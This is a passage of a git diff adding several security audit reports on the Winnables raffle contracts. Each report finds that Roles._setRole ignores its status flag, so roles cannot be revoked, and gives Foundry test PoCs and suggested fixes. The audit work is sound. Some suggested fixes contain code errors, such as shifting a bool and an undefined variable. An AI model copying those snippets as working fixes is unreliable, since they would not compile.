_setRole(user1, role, true); + assertNotEq(uint256(_addressRoles[user1])& (1 << role), 0, "Role should be set"); + _setRole(user1, role, false); + assertEq(uint256(_addressRoles[user1]) & (1 << role), 0, "Role should not be set as it is removed"); + } +} +``` +Run it by: `forge test --mt testCheckRolesSetAndRevoke -vvvvv` + +Output: +```javascript +[PASS] testCheckRolesSetAndRevoke() (gas: 23850) +Traces: + [144] TestRoles::setUp() + └─ ← [Stop] + + [28063] TestRoles::testCheckRolesSetAndRevoke() + ├─ [0] VM::assertEq(0, 0, "Role should not be set") [staticcall] + │ └─ ← [Return] + ├─ emit RoleUpdated(user: 0x0000000000000000000000000000000000000001, role: 1, status: true) + ├─ [0] VM::assertNotEq(2, 0, "Role should be set") [staticcall] + │ └─ ← [Return] + ├─ emit RoleUpdated(user: 0x0000000000000000000000000000000000000001, role: 1, status: false) + ├─ [0] VM::assertEq(0, 0, "Role should not be set as it is removed") [staticcall] + │ └─ ← [Return] + └─ ← [Stop] + +Suite result: ok. 1 passed; 0 failed; 0 skipped; +``` + +This change ensures that when `status` is `true`, the role is added, and when `status` is `false`, the role is removed, restoring the intended functionality of role management in the contract. \ No newline at end of file diff --git a/002/304.md b/002/304.md new file mode 100644 index 0000000..95719fc --- /dev/null +++ b/002/304.md @@ -0,0 +1,58 @@ +Sweet Punch Hyena + +High + +# Inability to Revoke Roles Leading to Permanent Privilege Escalation Risk + +## Summary + +The current implementation of the role management system in the `Roles.sol` contract lacks the ability to revoke roles once they have been granted. This oversight allows roles to be permanently assigned, which poses a significant security risk, particularly if a privileged address (such as an admin) becomes compromised. + +## Vulnerability Detail + +The `_setRole` function, responsible for assigning and managing roles, only grants roles but does not correctly handle the revocation of roles. Specifically, the `status` parameter intended to allow both setting and unsetting roles is not utilized effectively, leading to a scenario where a role, once assigned, cannot be removed. This could result in addresses retaining elevated privileges indefinitely, even if those addresses are no longer trusted or have been compromised. + +## Impact + +This vulnerability can lead to **permanent privilege escalation**. If an address with critical roles (such as an admin) is compromised, the attacker will retain control indefinitely, as there is no mechanism to revoke the compromised role. This could allow unauthorized access to sensitive functions, unauthorized changes to other users' roles, or other malicious activities, potentially leading to the full compromise of the contract. + +## Code Snippet + +The following snippet illustrates the issue within the `_setRole` function in `Roles.sol`: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33 + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); // Only sets the role, doesn't revoke + emit RoleUpdated(user, role, status); +} +``` + +## Tool used + +Manual Review + +## Recommendation + +Modify the `_setRole` function to properly handle the `status` parameter, allowing roles to be both granted and revoked. The updated function should set the role when `status` is `true` and clear (revoke) the role when `status` is `false`. Here's the recommended code modification: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + + if (status) { + // Grant role: Set the corresponding bit to 1 + roles |= (1 << role); + } else { + // Revoke role: Set the corresponding bit to 0 + roles &= ~(1 << role); + } + + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); +} +``` + +This change will ensure that roles can be dynamically managed, reducing the risk of permanent privilege escalation and improving the overall security of the contract. \ No newline at end of file diff --git a/002/306.md b/002/306.md new file mode 100644 index 0000000..f6ccfa9 --- /dev/null +++ b/002/306.md @@ -0,0 +1,50 @@ +Magic Mustard Whale + +Medium + +# Incorrect handling of status parameter in `_setRole` leads to unauthorized role escalation + +### Summary + +The root cause of the vulnerability is that the `_setRole` function always sets the role to `true`, regardless of the status parameter. This will cause unauthorized role escalation for the contract and its users as a malicious actor with role 0 will be able to grant roles even when attempting to revoke them by calling `_setRole(user, role, false)`. + +### Root Cause + +In `Roles.sol` the [_setRole:31](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L31) function, the root cause is the incorrect handling of the `status` parameter, which always sets the role to `true` regardless of the `status` value. + +Instances where `_setRole` is called: + +- [instance 1](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L53) + +- [instance 2](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicket.sol#L38) + +- [instance 3](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L63) + + +### Internal pre-conditions + + 1. `Role 0 needs to call _setRole to set _addressRoles[user] to be set, regardless of the status parameter`. + +### External pre-conditions + +N/A + +### Attack Path + +1. `Role 0` calls `_setRole(user, role, false)` intending to revoke the role from user. + +2. The `_setRole` function incorrectly sets the role to `true` due to the flawed handling of the status parameter. + +3. As a result, `user` retains or gains the role that was intended to be revoked, leading to unauthorized role escalation. + +### Impact + +The protocol suffers an approximate loss of control over role-based permissions. The attacker gains unauthorized access to roles that were intended to be revoked, potentially leading to financial losses and compromised protocol operations. + +### PoC + +_No response_ + +### Mitigation + +`_setRole` function should be corrected to properly handle the `status` parameter. This ensures that roles are correctly `set or unset based on the intended action`. \ No newline at end of file diff --git a/002/315.md b/002/315.md new file mode 100644 index 0000000..1e183f2 --- /dev/null +++ b/002/315.md @@ -0,0 +1,55 @@ +Fancy Blonde Mustang + +Medium + +# Roles can be invoked, but not revoked + +## Summary + +In the current implementation of `Roles::setRole` there are three parameters that the function accepts: user, role and status. The problem is that the third parameter, status, it's not used at all(only in the event emission). After a conversation with the protocol team, they confirmed that this parameter should be used for adding or removing a role. + +## Vulnerability Detail + +If a role needs to be revoked due to security concerns, such as a leaked private key or compromised account, the current implementation fails to address this need. This oversight could potentially lead to prolonged unauthorized access, increasing the risk of misuse or exploitation. + +## Impact + +Admin can't revoke a already granted role to a user or contract. If a private key has leaked for example and clearly we wanted to have this ability but the function is implemented wrong + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L42 + +## Code Snippet + +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } +``` + +## Tool used + +Manual Review + +## Recommendation + +```diff + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); ++ if (status) { + _addressRoles[user] = currentRoles | bytes32(1 << role); ++ } else { ++ _addressRoles[user] = currentRoles & ~bytes32(1 << role); ++ } + emit RoleUpdated(user, role, status); + } + + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } +``` \ No newline at end of file diff --git a/002/329.md b/002/329.md new file mode 100644 index 0000000..121411e --- /dev/null +++ b/002/329.md @@ -0,0 +1,54 @@ +Large Myrtle Okapi + +Medium + +# Granted roles with Roles.sol:_setRole cannot be revoked and leads addresses to permanently hold given role + +## Summary +Granted roles cannot be revoked, cause status flag is not used in Roles.sol:_setRole and leads addresses to permanently hold given role because there is no way to revoke assigned role + +## Vulnerability Detail +The vulnerability lies on Roles.sol:_setRole function (called from external Roles.sol:setRole function) cause it always set role bit to true ignoring status boolean value, so there is no way to revoke role +```solidity + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); //<- status value is passed to internal function + } + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); // <- status value is ignored + emit RoleUpdated(user, role, status); + } +``` +This is the only available function to modify roles on project, so there isnt a way to revoke a role to an address + +Sample scenario +1. Admin gives admin role to user U address +2. Later user U address is compromised +3. Now, compromised U address is not trusted but still has project's admin privileges +4. Admin tries to revoke compromised U address privilege role but there is no way to do it + +## Impact +A granted role cannot be revoked, so, making it a one way action, also setting protocol at risk if only one address is compromised + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used + +Manual Review + +## Recommendation +Modify Roles.sol:_setRole code to be able to revoke a role using the status boolean value. +The proposed modification grants role if status param is set to true, and revokes role if value is false +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if(status){ + _addressRoles[user] = bytes32(roles | (1 << role)); + }else{ + _addressRoles[user] = bytes32(roles & ~(1 << role)); + } + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/346.md b/002/346.md new file mode 100644 index 0000000..ee29bdf --- /dev/null +++ b/002/346.md @@ -0,0 +1,56 @@ +Suave Bronze Monkey + +High + +# Admin cannot revoke roles from granted users, so they cannot remove malicious parties. + +### Summary + +Documentation in the context of this contest states `Role 0 is an admin role and it allows its members to grant or deny roles to other users. That role is granted to the deployer in the constructor.`. +However, missing implementation to revoke roles from granted users will cause an impossibility for admins to remove compromised granted roles. + + +### Root Cause + +In [Roles.sol:29-33](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33), `status` param is not used indeed, and this function was implemented for only grant roles whether `status` is `true` or `false`. +`setRoles` function has `status` param for applying revoking as well as granting, but `status` was not ignored in implementation. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admin can't revoke roles of granted users. +Admin should have permissions to revoke roles of other users as well as granting in protocol because some roles can be compromised and protocol may fall into unintended and unexpected situation according to documentation. +However, impossiblity to revoke roles in the protocol, admins can resolve issues happened in the protocol. +There are also no mechanism that can pause/unpause the funcionalities of the protocol, so impacts on the protocol could be worse. + + +### PoC + +_No response_ + +### Mitigation + +Please implement correctly `setRoles` function for the `status` param. +```diff +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ if (status) { ++ _addressRoles[user] = bytes32(roles | (1 << role)); // Grant role ++ } else { ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); // Revoke role ++ } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/352.md b/002/352.md new file mode 100644 index 0000000..e892ada --- /dev/null +++ b/002/352.md @@ -0,0 +1,47 @@ +Helpful Red Lobster + +Medium + +# Admin can't remove any roles once they were set + +### Summary + +Incorrect implementation of ````Roles._setRole()```` will cause any roles unable to be cancelled once they were set. + + +### Root Cause +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L31 +In ````Roles.sol:31````, the ````status```` variable is ignored while calculating new roles for ````_addressRoles[user]````, and the related role bit will always be set to true. +```solidity +File: contracts\Roles.sol +29: function _setRole(address user, uint8 role, bool status) internal virtual { +30: uint256 roles = uint256(_addressRoles[user]); +31: _addressRoles[user] = bytes32(roles | (1 << role)); // @audit always set to true +32: emit RoleUpdated(user, role, status); +33: } + +``` + +### Internal pre-conditions + +Admins set any roles for some addresses + +### External pre-conditions + +N/A + +### Attack Path + +Admin calls ````Roles.setRole()```` with ````status=false```` to remove some role. + +### Impact + +Any roles can't be cancelled + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/002/364.md b/002/364.md new file mode 100644 index 0000000..91ce770 --- /dev/null +++ b/002/364.md @@ -0,0 +1,36 @@ +Fresh Corduroy Bird + +High + +# setRole function adds role on every call to user irrespective of passed status. + +## Summary +`_setRole` function in Roles contract adds role to the user when it should be revoked. + +## Vulnerability Detail +`_setRole` function should add a role to the user if status bool is True and revoke a role to the user if status bool is False. But the function is adding role to the user irrespective of the passed status bool value. + +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + // @audit-issue adding role irrespective of status + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +Also in contest README it is mentioned that Role 0 should be able to grant or revoke roles. But due to the above mentioned issue roles cannot be revoked. + +> Role 0 is an admin role and it allows its members to grant or deny roles to other users. + +## Impact +User role will not be revoked when admin try to revoke a role to a user. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used +Manual Review + +## Recommendation +Revoke the role to a user when the status bool parameter is False \ No newline at end of file diff --git a/002/383.md b/002/383.md new file mode 100644 index 0000000..55806fa --- /dev/null +++ b/002/383.md @@ -0,0 +1,42 @@ +Sparkly Crepe Vulture + +High + +# Since the status parameter is not used, this will result in the owner being unable to set the permission of any address to false. + +### Summary + +Since the status parameter is not used, this will result in the owner being unable to set the permission of any address to false. + +### Root Cause + +In [Role.sol:29](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33), the status parameter is not used. Regardless of whether this parameter is true or false, the function treats it as true. + +### Internal pre-conditions + +The administrator wants to revoke permissions from an address. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This will prevent administrators from revoking permissions from any address. Once permissions are set, even if there is a problem with that address (such as the private key being stolen, etc.), the administrator cannot revoke it. This is a lack of functionality. The loss of both permissions of the protocol is fatal to the protocol, so I judge the harm to be high. + +### PoC + +_No response_ + +### Mitigation + +Use the status parameter correctly. The following is a pseudocode that may not compile, but it fully explains how to modify it: + +```diff +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ _addressRoles[user] = bytes32(roles | (status << role)); +``` \ No newline at end of file diff --git a/002/386.md b/002/386.md new file mode 100644 index 0000000..c2f684d --- /dev/null +++ b/002/386.md @@ -0,0 +1,86 @@ +Dandy Blonde Carp + +Medium + +# `Roles::setRole()` doesn't work properly as admin `can't` remove users from their existing roles + +## Summary +`Roles::setRole()` doesn't work properly as admin `can't` remove users from their existing roles + +## Vulnerability Detail +`Admin` ie Role0 can set/assign other address for roles like `Role1` using `setRole()`. +```solidity + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +This is from ReadMe +> Role 0 is an admin role and it allows its members to grant or deny roles to other users + + Now the problem is, once a address is set for a role like Role1, it `can't` be removed from that role. + +//Here is the PoC is foundry +Note: Before running this test, make _hasRole() public function +```solidity +// SPDX-License-Identifier: UNLICENSED +// Based on OpenZeppelin's ERC1155 v4.8.0 +pragma solidity 0.8.24; + +import {WinnablesTicket} from "../contracts/WinnablesTicket.sol"; +import {Test, console2} from "../lib/forge-std/src/Test.sol"; +import {MockERC20Token} from "./MockERC20Token.sol"; + +contract TicketTest is Test { + WinnablesTicket tickets; + address admin = address(0x1); + address bob = address(0x2); + + function setUp() external { + vm.startPrank(admin); + tickets = new WinnablesTicket(); + vm.stopPrank(); + } + + function test_RolesCantRemoved() public { + //Checking admin is role 0 + //Note: I've made _hasRole() public function for this testing + bool isAdminRole0 = tickets._hasRole(admin, 0); + assertTrue(isAdminRole0); + + //Admin setting bob as role 1 + vm.prank(admin); + tickets.setRole(bob, 1, true); + bool beforBobRole1 = tickets._hasRole(bob, 1); + assertTrue(beforBobRole1); + + //Admin removing bob from role 1 but still bob is role 1 + vm.prank(admin); + tickets.setRole(bob, 1, false); + bool afterBobRole1 = tickets._hasRole(bob, 1); + assertTrue(afterBobRole1); + } +} +``` +I've used `winnablesTicket.sol` for this testing but similar issue will arise in `winnablesTickedManager.sol` & `winnnablesPrizeManager.sol` + +In winnablesTickedManager.sol, role1 signs the trx for ticket buying, if role1 turned malicious and started signing buy tickets with very low amount then it will a loss for the protocol. And admin will not be able to remove that address. +## Impact +Admin can't remove users from their roles + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L35C3-L37C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29C1-L33C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L18 + +## Tool used +Manual Review + +## Recommendation +Fix _setRole() in Roles.sol to allow admin to remove others from their roles \ No newline at end of file diff --git a/002/404.md b/002/404.md new file mode 100644 index 0000000..f9ed538 --- /dev/null +++ b/002/404.md @@ -0,0 +1,240 @@ +Cheesy Chambray Trout + +High + +# Admin is Not Able to Remove Role + +## Summary +The _setRole(address user, uint8 role, bool status) function does not allow the removal of a role from a user. + +## Vulnerability Detail +In the _setRole(address user, uint8 role, bool status) function, the status parameter is intended to add or remove a role from a user. However, this parameter has no effect in the method, which results in the inability to remove a role from an admin user. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29 + +## Impact +Once the admin role (0) or role 1 is assigned to a user, it becomes impossible to remove it because the status parameter is not considered in the _setRole(address user, uint8 role, bool status) function. Additionally, no error is returned, leading the admin to believe that the role has been successfully removed from the user when, in fact, it has not. + +## Code Snippet +The project should be configured to use foundry forge to run the forge build and forge test commands + +Create the base test class BaseTest.sol + +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {WinnablesPrizeManager} from "../src/WinnablesPrizeManager.sol"; +import {Test} from "forge-std/Test.sol"; +import {WinnablesTicket} from "../src/WinnablesTicket.sol"; +import {WinnablesTicketManager} from "../src/WinnablesTicketManager.sol"; +//import {MockLink} from "../src/mock/MockLink.sol"; +import {VRFCoordinatorV2BetterMock} from "../src/mock/VRFCoordinatorV2BetterMock.sol"; +import {DemoNFT} from "../src/mock/DemoNFT.sol"; +import {DemoToken} from "../src/mock/MockToken.sol"; +import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol"; +import {IMockLink} from "../src/interfaces/IMockLink.sol"; + +contract BaseTest is Test { + //initialize variables of LinkToken and CCIPRouter with address on Sepolia and Avax testnet + address linkTokenETH = 0x779877A7B0D9E8603169DdbD7836e478b4624789; + address linkTokenAVX = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846; + + address ccipRouterETH = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59; + address ccipRouterAVX = 0xF694E193200268f9a4868e4Aa017A0118C9a8177; + + // Ethereum chain selector + uint64 chainSlectorEth = 16015286601757825753; + // Avalanche chain selector + uint64 chainSlectorAvax = 14767482510784806043; + + //Arbritrum chain selector + uint64 chainSlectorArbitrum = 3478487238524512106; + + //Chainlink VRF con fig + address vrfCoordinator; + uint64 subscriptionId; + bytes32 keyHash; + + // 3 contracts of the protocol + WinnablesTicket tickets; + WinnablesTicketManager ticketManager; + WinnablesPrizeManager prizeManager; + + // User of the application + address admin = address(0xabc0); + address user1 = address(0xabc1); + address user2 = address(0xabc2); + address user3 = address(0xabc3); + address user4 = address(0xabc4); + address user5 = address(0xabc5); + + // NFT and Token contracts + DemoNFT nft1; + DemoToken token1; + DemoNFT nft2; + DemoToken token2; + DemoNFT nft3; + DemoToken token3; + + // LINK and CCIPRouter contracts + IMockLink linkTokenETHContract; + IMockLink linkTokenAVXContract; + + IRouterClient ccipRouterETHContract; + IRouterClient ccipRouterAVXContract; + + VRFCoordinatorV2BetterMock vrfCoordinatorContract; + + function setUp() public virtual { + //Instantiate and deploy the contracts LinkToken and CCIPRouter + linkTokenETH = deployCode("MockLink.sol", ""); + linkTokenETHContract = IMockLink(linkTokenETH); + linkTokenAVX = deployCode("MockLink.sol", ""); + linkTokenAVXContract = IMockLink(linkTokenAVX); + + ccipRouterETH = deployCode("MockCCIPRouter.sol", abi.encode(linkTokenETH)); + ccipRouterETHContract = IRouterClient(ccipRouterETH); + ccipRouterAVX = deployCode("MockCCIPRouter.sol", abi.encode(linkTokenAVX)); + ccipRouterAVXContract = IRouterClient(ccipRouterAVX); + + uint96 baseFee = 0.25 ether; + uint96 gasPriceLink = 1e9; + + // DEPLOY VRF COORDINATOR + vrfCoordinator = deployCode("VRFCoordinatorV2BetterMock.sol", abi.encode(linkTokenETH, baseFee, gasPriceLink)); + subscriptionId = 16015286601757825753; //; + keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; + + vm.startPrank(admin); + address prizeManagerAddress = deployCode("WinnablesPrizeManager.sol", abi.encode(linkTokenETH, ccipRouterETH)); + prizeManager = WinnablesPrizeManager(prizeManagerAddress); + + address ticketsAddress = deployCode("WinnablesTicket.sol", ""); + tickets = WinnablesTicket(ticketsAddress); + + address ticketManagerAddress = deployCode( + "WinnablesTicketManager.sol", + abi.encode(linkTokenAVX, vrfCoordinator, subscriptionId, keyHash, ticketsAddress, ccipRouterAVX) + ); + + ticketManager = WinnablesTicketManager(ticketManagerAddress); + + vm.stopPrank(); + + prizeManager = WinnablesPrizeManager(prizeManagerAddress); + tickets = WinnablesTicket(ticketsAddress); + ticketManager = WinnablesTicketManager(ticketManagerAddress); + + vm.startPrank(admin); + prizeManager.setCCIPCounterpart(address(ticketManager), chainSlectorAvax, true); + ticketManager.setCCIPCounterpart(address(prizeManager), chainSlectorEth, true); + + //Create Token and NFT + nft1 = new DemoNFT(); + token1 = new DemoToken(); + nft2 = new DemoNFT(); + token2 = new DemoToken(); + nft3 = new DemoNFT(); + token3 = new DemoToken(); + vm.stopPrank(); + } +} + +``` + +Create the TicketManagerTest.t.sol class to test role assignment and removal. +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {WinnablesPrizeManager} from "../src/WinnablesPrizeManager.sol"; +import {Test, console} from "forge-std/Test.sol"; +import {WinnablesTicket} from "../src/WinnablesTicket.sol"; +import {WinnablesTicketManager} from "../src/WinnablesTicketManager.sol"; +//import {MockLink} from "../src/mock/MockLink.sol"; +import {VRFCoordinatorV2BetterMock} from "../src/mock/VRFCoordinatorV2BetterMock.sol"; +import {BaseTest} from "./BaseTest.sol"; +import {IWinnablesPrizeManager} from "../src/interfaces/IWinnablesPrizeManager.sol"; +import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol"; + +contract TicketManagerTest is BaseTest { + function setUp() public override { + super.setUp(); + } + + function test_remove_role() public { + //1 - user1 try to mint tickets but it has no role 1 so it should revert + vm.prank(user1); + vm.expectRevert(); + tickets.mint(user1, 1, 1); + + //2 - admin gives role to user1 + vm.prank(admin); + tickets.setRole(user1, 1, true); + + //3 - user1 mint tickets and it should work + vm.prank(user1); + tickets.mint(user1, 1, 1); + + //4 - admin removes role 1 from user1 so user1 should not be able to mint tickets + vm.prank(admin); + tickets.setRole(user1, 1, false); + + //5 - user1 try to mint tickets but it has no role 1 so it should revert but it work + vm.prank(user1); + vm.expectRevert(); + tickets.mint(user1, 1, 1); + } +} +``` + +Then run the command + +```shell +forge test --mt test_remove_role +``` + +You'll see that the command does not revert as expected + +```shell +(base) ➜ winnable-raffles git:(main) ✗ forge test --mt test_remove_role -vv +[⠒] Compiling... +[⠔] Compiling 1 files with Solc 0.8.24 +[⠑] Solc 0.8.24 finished in 334.49ms +No files changed, compilation skipped + +Ran 1 test for test/TicketManagerTest.t.sol:TicketManagerTest +[FAIL. Reason: next call did not revert as expected] test_remove_role() (gas: 153584) +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 10.23ms (1.05ms CPU time) + +Ran 1 test suite in 156.39ms (10.23ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) + +Failing tests: +Encountered 1 failing test in test/TicketManagerTest.t.sol:TicketManagerTest +[FAIL. Reason: next call did not revert as expected] test_remove_role() (gas: 153584) +``` + +## Tool used + +Manual Review et foundry + +## Recommendation + +to fix the problem replace the function _setRole(address user, uint8 role, bool status) with +```javascript + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + + if (status) { + // Add the role by setting the bit to 1 + roles |= (1 << role); + } else { + // Remove the role by setting the bit to 0 + roles &= ~(1 << role); + } + + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); + } +``` diff --git a/002/410.md b/002/410.md new file mode 100644 index 0000000..0590eb4 --- /dev/null +++ b/002/410.md @@ -0,0 +1,93 @@ +Future Butter Horse + +Medium + +# Inability to Revoke User Permissions in Roles Contract + +## Summary + +The `Roles` contract has a function to set a role for a user - `setRole`, but lacks the functionality to remove a role from an account. This will result in the default owner of the contract being unable to remove a malicious user's permissions. + +## Vulnerability Detail + +In the [`Roles.setRole`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/Roles.sol#L35-L37) function, there's an input parameter `status` intended to grant or remove a user's permission. However, the internal [`_setRoles`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/Roles.sol#L29-L33) function called by the `setRole` only uses this parameter in the emitted event, rather than implementing the intended behavior of adding or removing a role. + +## Impact + +There is no way to revoke granted users' permissions. If someone is given an admin role and behaves maliciously, the administrator cannot remove their permissions. + +## Proof Of Concept + +```diff +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {Roles} from "../contracts/Roles.sol"; + +contract POC is Test { + RolesTestContract public roles; + address admin = makeAddr("admin"); + address alice = makeAddr("alice"); + + function setUp() public { + vm.prank(admin); + roles = new RolesTestContract(); + } + + function test_removeRole() public { + emit log_named_bytes32("alice", roles.getRoles(alice)); + + vm.prank(admin); + roles.setRole(alice, 0, true); + emit log_named_bytes32("alice", roles.getRoles(alice)); + + vm.prank(admin); + roles.setRole(alice, 0, false); + emit log_named_bytes32("alice", roles.getRoles(alice)); + } +} + +contract RolesTestContract is Roles { + constructor() { + _setRole(msg.sender, 0, true); + } +} +``` + +```diff +Logs: + alice: 0x0000000000000000000000000000000000000000000000000000000000000000 + alice: 0x0000000000000000000000000000000000000000000000000000000000000001 + alice: 0x0000000000000000000000000000000000000000000000000000000000000001 +``` + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/Roles.sol#L36 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/Roles.sol#L30-L31 + +## Tool used + +Manual Review + +## Recommendation + +Implement functionality to revoke permissions. When`status`is`false`, clear the bit at the `role` position to`0`using a bitwise AND operation. + +```diff + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + +- _addressRoles[user] = bytes32(roles | (1 << role)); + ++ if (status) { ++ _addressRoles[user] = bytes32(roles | (1 << role)); ++ } else { ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); ++ } + + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/419.md b/002/419.md new file mode 100644 index 0000000..320c075 --- /dev/null +++ b/002/419.md @@ -0,0 +1,50 @@ +Young Carmine Dragon + +Medium + +# Admin cannot deny roles to other users. + +## Summary +The `Roles._setRole` function can only be used to grant roles to other users, but not to deny them, which is inconsistent with the audit statement, and breaks the core functionality of the protocol. + +## Vulnerability Detail +According to the audit statement, the admin role can grant or deny roles to other users. +```text +Access control is handled with the Roles contract. It works similar to OpenZeppelin's AcessControl but uses bit flags to determine if a user has a role or not. Each user has a bytes32 representing the bitfield of roles so there is a limit of 256 possible roles. We only use 2: 0 and 1. + +Role 0 is an admin role and it allows its members to grant or deny roles to other users. That role is granted to the deployer in the constructor. +``` +https://audits.sherlock.xyz/contests/516 + +The granting and denial of roles are handled by the `Roles._setRole` function. However, this function can only be used to grant roles, because it only sets the bit corresponding to the role (L31), but cannot clear the bit. The `status` parameter is intended to indicate whether to grant or deny the role, but it is not used when updating the role bits. +```solidity +29: function _setRole(address user, uint8 role, bool status) internal virtual { +30: uint256 roles = uint256(_addressRoles[user]); +31:@> _addressRoles[user] = bytes32(roles | (1 << role)); +32: emit RoleUpdated(user, role, status); +33: } +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 + +## Impact +Admin cannot deny roles to other users. Since role 1 is used for purchasing tickets, admin cannot prevent malicious users who have been granted role 1 from buying tickets. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used +Manual Review + +## Recommendation +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ if (status) { ++ _addressRoles[user] = bytes32(roles | (1 << role)); ++ } else { ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); ++ } + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/422.md b/002/422.md new file mode 100644 index 0000000..026cca6 --- /dev/null +++ b/002/422.md @@ -0,0 +1,92 @@ +Glamorous Porcelain Toad + +High + +# Granted role can never be revoked. + +### Summary + +The function that is used to set the role is also intended to be used for revoking the role as it takes the status boolean but when doing bit manipulation (like my ex manipulated me), dev forgot to incorporate the status into it. + +### Root Cause + +The root cause of this bug lies in the bitwise operation used to set roles: + 